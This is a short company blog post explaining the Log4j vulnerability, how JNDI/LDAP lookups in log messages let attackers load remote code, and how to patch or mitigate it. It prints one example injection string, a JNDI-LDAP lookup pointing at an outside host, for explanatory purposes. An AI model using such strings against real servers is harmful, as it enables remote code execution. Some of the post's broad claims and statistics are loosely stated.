To develop applications or websites, the use of open-source software and frameworks is the most common today, despite what was experienced a few weeks ago with the Log4j flaw that affected all frameworks that operate with the programming language Java.
The flaw left approximately 17,000 Java packages exposed in the Maven Central repository, one of the most important Java repositories, according to numbers presented by Google. Security firm JFrog has found more by identifying additional packages containing the Log4j vulnerability that would not be detected through dependency scanning, i.e. packages containing vulnerable Log4j code within the artifact itself.
Why did the vulnerability in Log4j cause a stir?
Log4j is used in many applications developed with Java, which means that the number of devices that could be affected by this problem is approximately 3,000 million, this does not count all the companies in the world that use Java for their websites and technological processes.
To date, more than 44% of corporate networks worldwide have been affected, including a large number of attacks directly on cryptocurrency mining in various parts of the world.
This is how attackers exploit the Log4j vulnerability
The Log4j system allows logged messages to have format strings in which external information is referenced, all through the Java Naming and Directory Interface, known as JNDI. This process allows information to be retrieved remotely through various protocols, such as Lightweight Directory Access Protocol, or LDAP.
If Log4j finds a string like ${jndi:ldap://prplbx.com/security} within a log message, it tells JNDI to ask the LDAP server at "prplbx.com" for the "security" object. When the response from the LDAP server references the URL https://prplbx.com/security, JNDI will automatically request security.class file from the webserver and execute.
An attacker can insert JNDI references that go to the LDAP servers they control, making them ready to serve malicious Java classes that take any chosen action.
How to protect yourself?
Update your servers. The best solution against these vulnerabilities is to patch log4j to 2.16.0 and higher:
Log4j 1.x Mitigation: Log4j 1.x is not affected by this vulnerability.
Log4j 2.x Mitigation: Implement one of the following mitigation techniques:
Java 8 (or later) users should update to version 2.16.0. Java 7 users should update to version 2.12.2 when it becomes available (work in progress, expected to be available soon). Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
At Rootstack, our team of developers has been in charge of facing this flaw with all the seriousness it deserves, offering its help to our clients who present it and providing a prompt solution, making it clear that we are a company dedicated to our clients and users.
We recommend you on video
